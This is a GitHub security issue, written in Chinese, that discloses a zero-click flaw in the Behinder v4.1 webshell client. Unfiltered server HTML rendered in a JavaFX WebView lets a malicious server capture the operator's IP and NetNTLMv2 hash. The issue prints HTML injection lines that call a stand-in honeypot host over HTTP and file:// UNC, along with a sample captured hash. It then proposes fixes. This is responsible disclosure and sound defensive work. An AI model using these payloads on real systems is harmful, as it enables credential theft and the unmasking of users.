Skip to content

[Security] BasicInfo WebView 未过滤服务端 HTML 导致外部资源加载,可被恶意服务端利用实现 0-click 凭据窃取 #313

@s2cr3t

Description

@s2cr3t

概述

在冰蝎 v4.1 中发现一个安全问题:客户端连接 WebShell 后,服务端返回的 basicInfo 字段(HTML 格式)被直接传入 JavaFX WebView.loadContent() 渲染,未经任何内容过滤或标签白名单限制。虽然代码中调用了 setJavaScriptEnabled(false) 禁用 JavaScript,但 WebView 的 HTML/CSS 解析器仍会自动加载 HTML 中引用的外部资源(图片、样式表、iframe 等)。恶意 WebShell 服务端(蜜罐)可利用此行为,在操作者连接的瞬间触发出站 HTTP 和 SMB 连接,捕获操作者的真实 IP、Windows 用户名、主机名、域名以及可离线破解的 NetNTLMv2 密码哈希,整个过程无需额外用户交互(0-click)。

影响版本

  • 冰蝎 v4.1(其他版本未逐一验证,但只要 MainWindowController 中存在 WebView.loadContent(basicInfoStr) 且未过滤 HTML 标签即受影响)

复现步骤

1. 环境准备

准备一个 Python 蜜罐脚本,模拟 WebShell 服务端的冰蝎协议(AES/ECB + Base64 + JSON),在 BasicInfo 响应的 basicInfo 字段中注入包含外部资源引用的 HTML:

<img src="http://蜜罐IP:9090/beacon.png" width="1" height="1">
<link rel="stylesheet" href="http://蜜罐IP:9090/style.css">
<img src="file://蜜罐IP/share/logo.png" width="1" height="1">

蜜罐同时在对应端口启动 HTTP 信标服务器和 SMB 捕获服务器(impacket)。

2. 连接与触发

  1. 使用冰蝎客户端连接蜜罐的 WebShell 地址
  2. 冰蝎自动发送 Echo 握手 → 蜜罐返回正确的 Echo 响应(偏移校准)
  3. 冰蝎发送 BasicInfo 请求 → 蜜罐返回投毒的 BasicInfo 响应
  4. 客户端 MainWindowController 解密响应后直接调用 webengine.loadContent(basicInfoStr)
  5. WebView 渲染恶意 HTML,自动加载外部资源:
    • HTTP 请求发往蜜罐的信标服务器 → 捕获真实 IP、User-Agent、Accept-Language
    • file://蜜罐IP/share/... 触发 SMB 连接 → Windows 自动发送 NTLM 认证 → 捕获 NetNTLMv2 哈希
  6. 全程 无任何弹窗、无需点击、无需额外操作

3. 实测结果

单次连接触发 12 个独立的出站 HTTP 请求(CSS、img、iframe、object、embed、prefetch、preload、meta-refresh),以及 SMB 连接。已成功捕获:

# HTTP Beacon
IP: 192.168.31.56
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/606.1 (KHTML, like Gecko) JavaFX/8.0 Safari/606.1
Language: zh-cn,en-us;q=0.8,en;q=0.7

# NetNTLMv2 Hash (hashcat -m 5600)
Administrator::PC-20241022AZEN:aaaaaaaaaaaaaaaa:f3bfabebe9ac...:<blob>

原因分析

setJavaScriptEnabled(false) 仅禁用了 JavaScript 执行引擎,但 JavaFX WebView(底层 WebKit 606.1)的 HTML 标签解析、CSS 解析和外部资源加载功能完全独立于 JS 引擎,仍然正常运行。服务端返回的 basicInfo HTML 在传入 loadContent() 之前没有任何过滤。

数据流:

服务端响应(AES加密)→ 客户端AES解密 → JSON解析 → Base64解码basicInfo字段 → loadContent(原始HTML) → WebKit解析HTML标签 → 自动加载<img>/<link>/<iframe>等外部资源 → HTTP出站连接(泄露IP/UA/语言)+ file://触发UNC路径 → Windows SMB自动认证 → NetNTLMv2哈希泄露

核心问题在于 loadContent() 直接渲染了服务端可控的 HTML 内容,而 setJavaScriptEnabled(false) 并不能阻止 HTML/CSS 层面的外部资源加载。

涉及代码位置

文件 行号 说明
net/rebeyond/behinder/ui/controller/MainWindowController.java 156-157 WebEngine 初始化 + setJavaScriptEnabled(false)
net/rebeyond/behinder/ui/controller/MainWindowController.java 174 basicInfoStr 从服务端响应 Base64 解码,未过滤
net/rebeyond/behinder/ui/controller/MainWindowController.java 192 webengine.loadContent(basicInfoStr) — 漏洞触发点
net/rebeyond/behinder/core/ShellService.java 1436-1463 parseCommonAction() — AES 解密 + JSON 解析 + Base64 解码
com/sun/webkit/network/URLLoader.java 185-209 workaround7177996()file://host/path\\host\path UNC 路径构造
net/rebeyond/behinder/payload/java/BasicInfo.java 38-48 正常的 basicInfo HTML 生成逻辑(仅含 <br>/<font> 标签)

建议修复方案

方案一:HTML 标签白名单过滤(最小改动)

loadContent() 之前对 basicInfoStr 进行标签白名单过滤,仅保留格式化标签,移除所有带外部引用属性的标签:

// 在 MainWindowController.java 第 192 行之前添加
String sanitized = basicInfoStr
    .replaceAll("<(?!br|/br|font|/font|b|/b|i|/i)[^>]*>", "")  // 仅保留安全标签
    .replaceAll("(?i)(src|href|data|background|style)\\s*=", ""); // 移除危险属性
webengine.loadContent(sanitized);

方案二:替换为纯文本渲染(推荐)

WebView 替换为 TextAreaLabel,以纯文本方式展示服务端信息,从根本上消除 HTML 解析带来的攻击面:

// 替代方案:用 TextArea 代替 WebView
TextArea infoArea = new TextArea();
infoArea.setEditable(false);
infoArea.setText(basicInfoStr.replaceAll("<[^>]*>", ""));  // 去除所有 HTML 标签

方案三(深度加固):阻止外部资源加载

如必须保留 WebView,通过自定义 WebEngine 配置阻止外部协议加载:

  • 拦截 http://https://file://ftp:// 等非 data: 协议的资源请求
  • 或设置严格的 Content-Security-Policy:default-src 'none'; style-src 'unsafe-inline'

补充说明

  • 本 issue 以负责任披露的原则提交,目的是帮助项目改进安全性
  • 该问题为 0-click 漏洞,操作者连接 WebShell 的瞬间即触发,无需任何额外交互
  • 攻击前提是恶意服务端知道冰蝎通信密码(对于蜜罐/反制场景,密码由蜜罐设定,天然已知)
  • 已开发完整 PoC 蜜罐脚本(Python),如需进一步的技术细节或 PoC 代码,请联系我

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions